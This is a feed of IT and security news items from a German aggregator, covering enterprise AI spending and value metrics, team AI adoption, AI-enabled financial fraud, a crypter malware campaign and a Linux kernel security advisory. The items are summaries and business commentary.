<p class="wp-block-paragraph">The financial case follows the pattern and is consistent. Consider two organizations that funded the same class of Horizon 3 bet: A domain-specific agent platform meant to compound over three years. The first review was conducted at month six against a quarterly return test, found no payback and killed it, booking the write-off as a lesson about AI being overhyped. Its competitor classified the same work as Horizon 3, set an 18-month capability milestone, protected funding through two review cycles and shipped to production within the window the work actually required. One organization spent its money to learn that it lacks allocation discipline. The other spent comparable money and now owns a capability its rival has abandoned and cannot quickly rebuild. The dollars on the two income statements are similar. The competitive positions are not.</p>



<h2 class="wp-block-heading">The governance return the board has been waiting for</h2>



<p class="wp-block-paragraph">Allocation discipline does two things at once. It stops the bleed by liquidating failures on a schedule rather than at the point of exhaustion. And it concentrates capital where the entire return lives, in the small number of bets that survive their horizon. The 5 percent figure is not a ceiling imposed by the technology. It is the current yield of an industry allocated by hype. An organization that classifies by horizon, allocates on purpose, liquidates on a line and tracks on a cadence is not trying to beat the technology. It is trying to beat its own indiscipline, and that is a far more winnable contest.</p>



<p class="wp-block-paragraph">The board conversation about AI returns is coming for every organization, and it arrives the moment the spending outpaces the story. When it does, the CIO will be asked a simple question: Where did the money go? The leaders who can answer will not show a pile of pilots. They will show a portfolio: What was funded, against which horizon, what was liquidated and when, and what the survivors are now worth. Subtraction is a strategy. The only question is whether you are practicing it on purpose or about to learn it by accident.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Atlassian: Why AI speeds up employees but not organizations]]></title>
<description><![CDATA[Presented by Atlassian Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at ...]]></description>
<link>https://tsecurity.de/de/3683692/it-nachrichten/atlassian-why-ai-speeds-up-employees-but-not-organizations/</link>
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<pubDate>Tue, 21 Jul 2026 14:33:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>Presented by Atlassian </i></p><hr><p>Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a>.</p><p>Sands leads a team of behavioral scientists and psychologists who study how AI is reshaping the way people work together, using those findings to help organizations redesign how work gets done.</p><p>"We don't just study it, we also actively go in and change it," she explained. Her teams teach new ways of working and remap how work flows across companies, a challenge that many organizations are still struggling with, she said.</p><h2>Why AI speed isn’t translating into ROI</h2><p>Atlassian's annual State of Teams Report, which this year surveyed 12,000 global knowledge workers and interviewed roughly 200 Fortune 1000 executives, found a significant disconnect between activity and value, showing that everyone is using AI, while very few can yet locate where it pays off.</p><p>"89% of those executives told us that individuals are speeding up in their companies, and only 6% of them said they could point to specific examples of clear ROI," Sands said.</p><p>But roughly 14% of teams had translated AI usage into real value — meaning a single organization could contain a handful of high-performing teams surrounded by others seeing no return at all.</p><p>Those leading teams shared three characteristics: context, workflows and culture. The teams pulling ahead were building what Atlassian calls a context graph by capturing goals, decisions, and organizational knowledge in shared digital records rather than leaving them in individual memory. Across products such as Jira and Confluence, the graph connects work items, goals and the people doing them, giving AI access to the organizational context it needs.</p><p>On workflows, the winning teams redesigned entire end-to-end processes rather than simply accelerating isolated tasks. Otherwise, speeding up individuals who are pointed in slightly different directions only causes them to “very quickly start to crash into each other,” as Sands puts it. </p><p>On culture, the fastest-moving teams worked under leaders who explicitly encouraged learning and experimentation, while making it clear that some experiments would fail.</p><h2>How leaders can move AI from individual hack to team advantage</h2><p>Experimentation and constraints are the fastest route to learning, Sands said. The teams seeing the biggest gains were deliberately imposing constraints on how they worked, from breaking every task into the smallest practical unit of work (a single story point) to committing to write no code by hand for a week.</p><p>"Most of it is not sustainable to do forever, but it is a really, really fast way to learn," she said.</p><p>Sands argued that another obstacle isn’t the technology itself but the fact that employees are figuring out AI on their own. Every worker develops different prompts, agents and assumptions, creating another layer of unspoken knowledge inside teams that rarely translates into organizational performance.</p><p>To counter that, Atlassian experimented with AI working agreements at the start of projects, asking teams to decide not only what they would use AI for, but what they would deliberately avoid using it for, which agents they would share and what common skills would keep everyone working from the same context. Teams that adopted the practice used AI more, moved faster, made better decisions and ultimately produced higher-quality work.</p><p>The broader lesson, Sands said, is that AI isn’t creating entirely new management problems so much as exposing old ones. Teams have always struggled with hidden assumptions and different mental models of their work. AI simply makes those gaps more consequential, increasing the importance of shared context and explicit ways of working.</p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i></p>]]></content:encoded>
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<title><![CDATA[Headaches for Silicon Valley as China chips away at the US’s lead in the AI race]]></title>
<description><![CDATA[Google’s AI struggles scream trouble as new Chinese models (again) throw US tech dominance into questionHello, I’m Blake Montgomery, writing to you after a double-header feature of Christopher Nolan’s The Odyssey and the World Cup final. What a great Sunday. Today in tech, we’re discussing how Ch...]]></description>
<link>https://tsecurity.de/de/3683658/ai-nachrichten/headaches-for-silicon-valley-as-china-chips-away-at-the-uss-lead-in-the-ai-race/</link>
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<pubDate>Tue, 21 Jul 2026 14:19:33 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google’s AI struggles scream trouble as new Chinese models (again) throw US tech dominance into question</p><p>Hello, I’m Blake Montgomery, writing to you after a double-header feature of Christopher Nolan’s The Odyssey and the World Cup final. What a great Sunday. Today in tech, we’re discussing how China is chipping away at the US’s lead in the AI race and how Silicon Valley’s workers are taking action to protect their jobs from AI.</p><p><a href="https://www.theguardian.com/us-news/2026/jul/14/new-york-moratorium-ai-datacenters">New York becomes first state to impose one-year pause on new AI datacenters</a></p><p><a href="https://www.theguardian.com/us-news/2026/jul/15/trump-new-york-datacenter-moratorium">Trump rails against New York’s statewide datacenter moratorium</a></p><p><a href="https://www.theguardian.com/australia-news/2026/jul/16/albaneses-ai-blueprint-sparks-calls-for-datacentre-moratorium-until-new-regulations-in-place">Albanese’s AI blueprint sparks calls for datacentre moratorium until new regulations in place</a></p><p><a href="https://www.theguardian.com/fashion/2026/jul/17/adversarial-clothing-are-garments-designed-to-confuse-facial-recognition-systems-about-to-go-mainstream">‘Adversarial clothing’: are garments designed to confuse facial recognition systems about to go mainstream?</a></p><p><a href="https://www.theguardian.com/technology/2026/jul/14/ibm-shares-profit-drop-value">IBM loses quarter of its value as tech giant’s shares plunge and profits falter</a></p><p><a href="https://www.theguardian.com/media/2026/jul/15/teenagers-verdic-britain-social-media-curfew-ban-whats-the-point">‘What’s the point?’ Teenagers give their verdict on Britain’s social media curfew</a></p><p><a href="https://www.theguardian.com/technology/2026/jul/17/amazon-web-services-customers-trillion-dollar-bills-global-glitch">Amazon Web Services customers receive bills for up to $1.5tn after global glitch</a></p><p><a href="https://www.theguardian.com/technology/ng-interactive/2026/jul/16/justin-sun-trump-family-crypto">Trump made $1.4bn from crypto in one year. Is Justin Sun the man who helped him do it?</a></p> <a href="https://www.theguardian.com/technology/2026/jul/20/china-google-ai-race">Continue reading...</a>]]></content:encoded>
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<title><![CDATA[The token debate: What CIOs can learn from the laws of thermodynamics]]></title>
<description><![CDATA[What if the next breakthrough in Enterprise AI doesn’t come from computer science alone?



What if it comes from applying principles that physicists have understood for more than a century?



According to Gartner, rising token-driven AI spend is straining budgets and challenging cost justificat...]]></description>
<link>https://tsecurity.de/de/3683604/it-nachrichten/the-token-debate-what-cios-can-learn-from-the-laws-of-thermodynamics/</link>
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<pubDate>Tue, 21 Jul 2026 14:03:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">What if the next breakthrough in Enterprise AI doesn’t come from computer science alone?</p>



<p class="wp-block-paragraph">What if it comes from applying principles that physicists have understood for more than a century?</p>



<p class="wp-block-paragraph">According to <a href="https://www.gartner.com/en/newsroom/press-releases/2026-06-24-gartner-predicts-ai-coding-costs-will-surpass-average-developer-salary-by-2028-as-token-consumption-surges">Gartner</a>, rising token-driven AI spend is straining budgets and challenging cost justification. As organizations race to deploy generative AI and agentic systems, token consumption dominates nearly every executive discussion: How many tokens did we use? How much did inference cost? Can we reduce our AI bill?</p>



<p class="wp-block-paragraph">These are important operational questions. But they are not the strategic questions.</p>



<p class="wp-block-paragraph">I believe the economics of enterprise AI can be viewed through the lens of three well-established principles from thermodynamics: the conservation of energy, entropy, and exergy.</p>



<p class="wp-block-paragraph">While these principles describe physical systems — not AI —they offer a useful way to think about how organizations should measure AI success.</p>



<h2 class="wp-block-heading">Principle 1: Value is created through transformation</h2>



<p class="wp-block-paragraph"><a href="https://en.wikipedia.org/wiki/Laws_of_thermodynamics#First_law">The 1<sup>st</sup> Law of Thermodynamics</a> tells us that energy cannot be created or destroyed. It can only be transformed.</p>



<p class="wp-block-paragraph">Enterprise AI presents a similar management lesson: Tokens are not valuable because they are consumed; they become valuable only when they are transformed into business outcomes: A faster loan application decision. A better customer experience. Faster and more accurate software. Reduced fraud. Higher employee productivity. A new product. A strategic insight.</p>



<p class="wp-block-paragraph">The executive question therefore is not, “How many tokens did we consume?” It is: “How much business value did those tokens create?”</p>



<p class="wp-block-paragraph">This leads to a new executive metric: return on tokens (ROT).</p>



<p class="wp-block-paragraph">Just as organizations measure return on investment, they should begin measuring the business value generated for every million AI tokens consumed.</p>



<p class="wp-block-paragraph">The organizations that win will not necessarily consume fewer tokens. They will generate more value from every token they use.</p>



<h2 class="wp-block-heading">Principle 2: Every transformation creates waste</h2>



<p class="wp-block-paragraph"><a href="https://en.wikipedia.org/wiki/Laws_of_thermodynamics#Second_law">The 2nd Law of Thermodynamics</a> teaches us that every energy transformation introduces inefficiencies.</p>



<p class="wp-block-paragraph">Some energy inevitably becomes less useful for doing work.</p>



<p class="wp-block-paragraph">The same pattern appears in enterprise AI: Not every token contributes equally to business outcomes.</p>



<p class="wp-block-paragraph">Some are spent on:</p>



<ul class="wp-block-list">
<li>Repeated prompts</li>



<li>Oversized context windows</li>



<li>Redundant reasoning</li>



<li>Hallucinations requiring correction</li>



<li>Multiple agents performing the same work</li>



<li>Expensive models solving simple problems</li>
</ul>



<p class="wp-block-paragraph">Those tokens are not “lost.” They simply produce very little business value.</p>



<p class="wp-block-paragraph">I think of this as token entropy. Every enterprise deploying AI will experience it. The goal is not to eliminate token entropy completely — that would be unrealistic. The goal is to continuously identify it, measure it and reduce it. Because every unnecessary token represents an opportunity to improve both cost and business performance.</p>



<h2 class="wp-block-heading">Principle 3: Useful work matters more than energy consumed</h2>



<p class="wp-block-paragraph">Thermodynamics introduces another important idea: <a href="https://en.wikipedia.org/wiki/Exergy">Exergy</a>.</p>



<p class="wp-block-paragraph">Unlike energy, exergy measures how much energy can actually be converted into useful work. Two systems may consume the same amount of energy while producing dramatically different results.</p>



<p class="wp-block-paragraph">The same is true for enterprise AI.</p>



<p class="wp-block-paragraph">Imagine two companies each consuming one billion tokens. One produces meeting summaries. The other transforms claims operations, accelerates software delivery, detects fraud, improves customer retention, and creates new revenue opportunities. Both consumed the same number of tokens. Only one extracted significantly more business value.</p>



<p class="wp-block-paragraph">Borrowing this concept as a management analogy, I call this token exergy.</p>



<p class="wp-block-paragraph">Token exergy represents an organization’s ability to convert AI intelligence into meaningful business outcomes:</p>



<ul class="wp-block-list">
<li>High token exergy means AI is solving important business problems.</li>



<li>Low token exergy means AI is generating activity without creating proportional enterprise value.</li>
</ul>



<p class="wp-block-paragraph">The distinction matters, because activity is not the same as impact.</p>



<h2 class="wp-block-heading">A new responsibility for CIOs</h2>



<p class="wp-block-paragraph">For years, CIOs have monitored infrastructure: Cloud costs, storage, network utilization, GPU consumption.</p>



<p class="wp-block-paragraph">These metrics remain important, but they tell only part of the story.</p>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4184596/tokenomics-in-enterprise-ai.html?utm=hybrid_search">Token usage needs to be measured, planned, optimized and governed with the same discipline as any other cloud resource.</a> This means that the next generation of CIO dashboards should answer different questions:</p>



<ul class="wp-block-list">
<li>What is our return on tokens?</li>



<li>Where is token entropy reducing our effectiveness?</li>



<li>How much token exergy are we generating?</li>



<li>Which AI initiatives produce the greatest business value?</li>



<li>Which use cases create the strongest competitive advantage?</li>
</ul>



<p class="wp-block-paragraph">These are no longer technology metrics. They are business metrics.</p>



<p class="wp-block-paragraph">The next generation of CIOs will not simply deploy AI. They will manage an economy of intelligence.</p>



<p class="wp-block-paragraph">Their role will resemble that of a portfolio manager — allocating AI capacity where it creates the greatest enterprise value, reducing waste and continuously improving the productivity of every autonomous workflow.</p>



<p class="wp-block-paragraph">That responsibility cannot be fulfilled by dashboards alone.</p>



<p class="wp-block-paragraph">It requires an intelligent layer capable of observing, learning and optimizing the entire AI  ecosystem. <a href="https://www.cio.com/article/4157977/micro-and-macro-agents-the-emerging-architecture-of-the-agentic-enterprise.html?utm=hybrid_search">Three-layer enterprise agentic architecture</a> Will enable this.</p>



<h2 class="wp-block-heading">The next competitive advantage</h2>



<p class="wp-block-paragraph">Every major technology revolution eventually shifts from measuring inputs to measuring outcomes:</p>



<ul class="wp-block-list">
<li>Factories stopped measuring coal consumption and began measuring productivity.</li>



<li>Cloud computing evolved beyond server utilization to business agility.</li>



<li>Digital businesses measured customer acquisition costs and lifetime value.</li>
</ul>



<p class="wp-block-paragraph">Enterprise AI is approaching the same inflection point. Organizations that focus only on token costs will optimize for efficiency. Organizations that measure return on tokens, minimize token entropy and maximize token exergy will optimize for business transformation.</p>



<p class="wp-block-paragraph">That is a fundamentally different objective. And I believe it will separate AI leaders from AI followers.</p>



<p class="wp-block-paragraph">Because in the end, the future of enterprise AI will not be determined by how many tokens an organization consumes. It will be determined by how effectively those tokens are transformed into lasting business value. <a href="https://www.cio.com/article/4183263/the-ai-adoption-spree-is-over-time-to-focus-on-value.html?utm=hybrid_search">The AI adoption spending spree is over. Time to focus on value.</a></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Hackers Use Cruciferra Crypter to Disable EDR and Deploy XWorm, Remcos, and AsyncRAT]]></title>
<description><![CDATA[Hackers are abusing the Cruciferra crypter-as-a-service to systematically turn off endpoint detection and response (EDR) tools and stealthily deploy XWorm, Remcos, AsyncRAT, and other commodity malware in email-driven campaigns targeting multiple sectors worldwide. By combining BYOVD-based driver...]]></description>
<link>https://tsecurity.de/de/3683595/it-security-nachrichten/hackers-use-cruciferra-crypter-to-disable-edr-and-deploy-xworm-remcos-and-asyncrat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683595/it-security-nachrichten/hackers-use-cruciferra-crypter-to-disable-edr-and-deploy-xworm-remcos-and-asyncrat/</guid>
<pubDate>Tue, 21 Jul 2026 13:53:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hackers are abusing the Cruciferra crypter-as-a-service to systematically turn off endpoint detection and response (EDR) tools and stealthily deploy XWorm, Remcos, AsyncRAT, and other commodity malware in email-driven campaigns targeting multiple sectors worldwide. By combining BYOVD-based driver abuse, indirect syscalls and a polymorphic encryption engine with more than 90 mix-and-match crypto routines, Cruciferra has rapidly […]</p>
<p>The post <a href="https://gbhackers.com/cruciferra-crypter-to-disable-edr/">Hackers Use Cruciferra Crypter to Disable EDR and Deploy XWorm, Remcos, and AsyncRAT</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<title><![CDATA[America needs to stop getting shocked by Chinese AI]]></title>
<description><![CDATA[Last week, two Chinese AI companies unveiled models they say can credibly compete with the best systems from OpenAI and Anthropic. The response was swift and predictable. Markets wobbled, commentators declared Silicon Valley shooketh, and policymakers reached for the familiar language of arms rac...]]></description>
<link>https://tsecurity.de/de/3683502/it-nachrichten/america-needs-to-stop-getting-shocked-by-chinese-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683502/it-nachrichten/america-needs-to-stop-getting-shocked-by-chinese-ai/</guid>
<pubDate>Tue, 21 Jul 2026 13:17:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Last week, two Chinese AI companies unveiled models they say can credibly compete with the best systems from OpenAI and Anthropic. The response was swift and predictable. Markets wobbled, commentators declared Silicon Valley shooketh, and policymakers reached for the familiar language of arms races and wake-up calls. In one headline, The Associated Press said a […]]]></content:encoded>
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<title><![CDATA[Asymmetric warfare in financial services: AI-powered fraud demands unified command]]></title>
<description><![CDATA[Military strategists know that asymmetric wars are lost not at the point of attack but at the seams between defensive units, where no single commander owns the territory and information moves slower than the threat. In January 2024, a finance employee at Arup’s Hong Kong office learned this lesso...]]></description>
<link>https://tsecurity.de/de/3683476/it-security-nachrichten/asymmetric-warfare-in-financial-services-ai-powered-fraud-demands-unified-command/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683476/it-security-nachrichten/asymmetric-warfare-in-financial-services-ai-powered-fraud-demands-unified-command/</guid>
<pubDate>Tue, 21 Jul 2026 13:08:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Military strategists know that asymmetric wars are lost not at the point of attack but at the seams between defensive units, where no single commander owns the territory and information moves slower than the threat. In January 2024, a finance employee at Arup’s Hong Kong office learned this lesson for $25 million, joining a video call with what appeared to be the engineering firm’s chief financial officer and several colleagues, receiving instructions to wire funds to a designated account, and complying. Every face on the screen was a deepfake, cloned from publicly available footage of the actual executives. The attackers conducted the entire meeting in real time and vanished before anyone in the organization realized the CFO had never logged on.</p>



<p class="wp-block-paragraph">The incident would be remarkable enough as a one-off, but it represents a pattern accelerating well beyond isolated cases. <a href="https://nilsonreport.com/articles/card-fraud-losses-worldwide-2024/">Global payment fraud reached $33.4 billion in 2024</a> according to the Nilson Report, and the US absorbed a disproportionate 42% of those losses despite processing only 25% of global card transactions. The latest FBI Internet Crime report identifies <a href="https://www.fbi.gov/news/press-releases/cryptocurrency-and-ai-scams-bilk-americans-of-billions">more than one million complaints and nearly $21 billion in cyber-enabled crime losses in 2025</a> (up from $16 million in 2023), while Deloitte projects <a href="https://www.deloitte.com/us/en/insights/industry/financial-services/deepfake-banking-fraud-risk-on-the-rise.html">AI-enabled fraud in the US will hit $40 billion by 2027</a>. This increasingly includes crypto-related fraud, not just credit card or traditional banking fraud.</p>



<p class="wp-block-paragraph">For anyone who oversees financial operations, risk or payment technology infrastructure, these numbers are not forecasts of a future “regional conflict.” Instead, they are the current cost of a war most institutions have not yet recognized they are fighting.</p>



<h2 class="wp-block-heading"><a></a>Reconnaissance at scale: How AI redraws the attacker’s map</h2>



<p class="wp-block-paragraph">The conventional narrative around AI-powered fraud emphasizes speed: Faster phishing, faster credential stuffing, faster social engineering. Jason Kikta, CTO of<a href="https://www.automox.com/"> Automox</a>, sees the shift differently. “The main threat from AI misuse isn’t faster execution, as automation has been leveraged for years,” Kikta says. “The true dangers are lower barriers to entry and faster adaptation, giving attackers the ability to pivot techniques in near real-time.”</p>



<p class="wp-block-paragraph">The distinction means that execution is a quantitative improvement, the kind existing defenses can absorb by scaling up. Lower barriers to entry and real-time adaptation are qualitative: A force multiplier that turns every amateur into an equipped operator with a coach that learns from each failed attempt. Deepfake-as-a-service platforms now produce voice clones from three seconds of audio. AI-driven vulnerability scanning maps an institution’s unpatched endpoints while the security team is still scheduling the review meeting. In 2024, 269 million stolen credit card records appeared on dark web platforms, giving AI-equipped attackers what military intelligence analysts would call an order of battle: A detailed map of the defender’s exposed positions, ready to be mined for patterns, tested against live systems and exploited at machine speed.</p>



<p class="wp-block-paragraph">The result is a combined arms threat, one that operates across domains simultaneously the way a competent military force coordinates air, ground and intelligence rather than running them as independent campaigns. The same AI that crafts a convincing business email compromise can probe unpatched point-of-sale systems to install digital skimmers. The same synthetic identity that opens a fraudulent credit card account can exploit a payment authorization vulnerability discovered through automated scanning. Card-not-present fraud now accounts for 71% of all US card fraud losses, and the attack surface keeps expanding as digital wallets and e-commerce push more transactions into channels where physical card verification is impossible.</p>



<p class="wp-block-paragraph">Attackers treat endpoint management gaps and transaction monitoring gaps as a single attack surface, while most defenders continue to patrol them as separate territories.</p>



<h2 class="wp-block-heading"><a></a>Fragmented command: The structural vulnerability AI exploits</h2>



<p class="wp-block-paragraph">Consider how most financial institutions, crypto platforms and digital asset intermediaries actually organize their defenses: A cybersecurity team focused on identity compromise, endpoint protection and infrastructure threats; a fraud team focused on account takeover, mule networks and scam typologies; an AML or financial crimes team focused on wallet screening, sanctions exposure and suspicious activity reporting; and an AI risk or digital trust team, if one exists at all, focused on synthetic media, model abuse and impersonation. Each function has its own tooling, budget, reporting line and intelligence feeds. In crypto markets, where value can move irreversibly across wallets, chains, mixers, exchanges and OTC brokers in minutes, those silos create exploitable gaps between detection, attribution, interdiction and recovery.</p>



<p class="wp-block-paragraph">A pig-butchering scam that begins on a dating app, migrates to WhatsApp, directs a victim to a fake crypto investment platform, and then launders proceeds through nested services and cross-chain bridges is not just a fraud event. It is also a cybersecurity event, a financial crimes event, an identity event, a platform abuse event and, increasingly, an AI-enabled social engineering event. Chainalysis reported that high-yield investment scams and pig-butchering schemes were among the most successful crypto scam types in 2024, while also noting growing use of AI in fraud and scams.</p>



<p class="wp-block-paragraph">Research published by the University of California, Davis found that these schemes follow a staged lifecycle: Trust-building, fabricated investment returns, escalating deposits, withdrawal obstruction and re-targeting of victims after the initial loss. When each part of that lifecycle is monitored by a different team, the institution sees fragments of the attack rather than the economic system of the crime.</p>



<p class="wp-block-paragraph">“Fraud no longer happens in isolated channels,” observes Jeff Li, Global Product &amp; Designer Lead at Binance. “AI-powered scams move seamlessly across platforms, and payment systems, making fragmented defenses increasingly ineffective.” He believes that the future of <a href="https://www.binance.com/en/blog/security/2953911729763975700">security depends on unified intelligence</a> — combining AI, real-time monitoring, secure infrastructure and cross-functional response mechanisms into a single coordinated defense system.<br><br>“We’ve invested heavily in AI-driven risk detection, real-time scam warnings and infrastructure to stay ahead of evolving threats, continues Li, claiming that from Q1 2025 to Q1 2026, these efforts helped Binance prevent over $10 billion in potential user losses and protected more than 5 million users globally. As AI continues to reshape both fraud and fraud prevention, the focus remains on building systems that can protect users, not just at scale, but in real time.</p>



<h2 class="wp-block-heading"><a></a>Unified command: From org chart to battle plan</h2>



<p class="wp-block-paragraph">Kikta’s assessment contains a contrarian detail worth teasing apart: “The good news is that a strong compliance program prioritizing depth of coverage and speed of enforcement will hold up against AI-enabled fraud,” he says. In a landscape saturated with predictions that existing defenses are obsolete, Kikta argues that the fundamentals of patch management, endpoint hygiene and compliance rigor still hold, provided the clock speed at which those fundamentals execute keeps pace with the adversary.</p>



<p class="wp-block-paragraph">That clock speed is the operational link between cybersecurity and card fraud prevention. An unpatched point-of-sale terminal or payment gateway exposed for 30 days represents 30 days of reconnaissance opportunity for an AI scanner probing for places to install a digital skimmer or intercept card data in transit. A compliance gap in identity verification is an open invitation for synthetic identities to open accounts and run fraudulent transactions. Endpoint management data and transaction monitoring data describe the same attack surface from different angles, and fusing those streams into a single operational picture, the financial equivalent of a military intelligence fusion center, gives defenders something the current siloed structure cannot: Visibility into an attack developing across domains before it reaches the payment layer.</p>



<p class="wp-block-paragraph">The value of that convergence extends beyond defense. A unified data layer across cyber, fraud and payments creates consolidated threat intelligence that can inform underwriting decisions, merchant risk scoring and product design. Organizations that treat converged security data as a business intelligence asset (not merely an operational feed) will find they have built something with commercial utility well beyond the security operations center.</p>



<p class="wp-block-paragraph">Mascaro frames the prescription in terms that belong in a boardroom, not a SOC. “The real competitive advantage in fraud isn’t your AI stack,” he says. “It’s leadership’s clarity to unify risk disciplines that everyone else keeps in separate departments.”</p>



<h2 class="wp-block-heading"><a></a>Field manual: What winning institutions do differently</h2>



<p class="wp-block-paragraph">The institutions gaining ground in this new form of asymmetric conflict share a common operational posture: They treat endpoint management as card fraud prevention rather than IT maintenance, and they feed cyber, fraud and payments intelligence into a single picture rather than three separate briefings. The defensive AI advantage, such as it is, comes from that integration, not from any single model’s sophistication.</p>



<p class="wp-block-paragraph">Adversaries have already unified their operations. Yet, payment processors and financial institutions that keep running separate campaigns on separate fronts, with separate intelligence, will keep conducting after-action reviews of battles they have already lost.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[USN-8576-1: Linux kernel (NVIDIA Tegra) vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3683452/unix-server/usn-8576-1-linux-kernel-nvidia-tegra-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683452/unix-server/usn-8576-1-linux-kernel-nvidia-tegra-vulnerabilities/</guid>
<pubDate>Tue, 21 Jul 2026 13:01:12 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
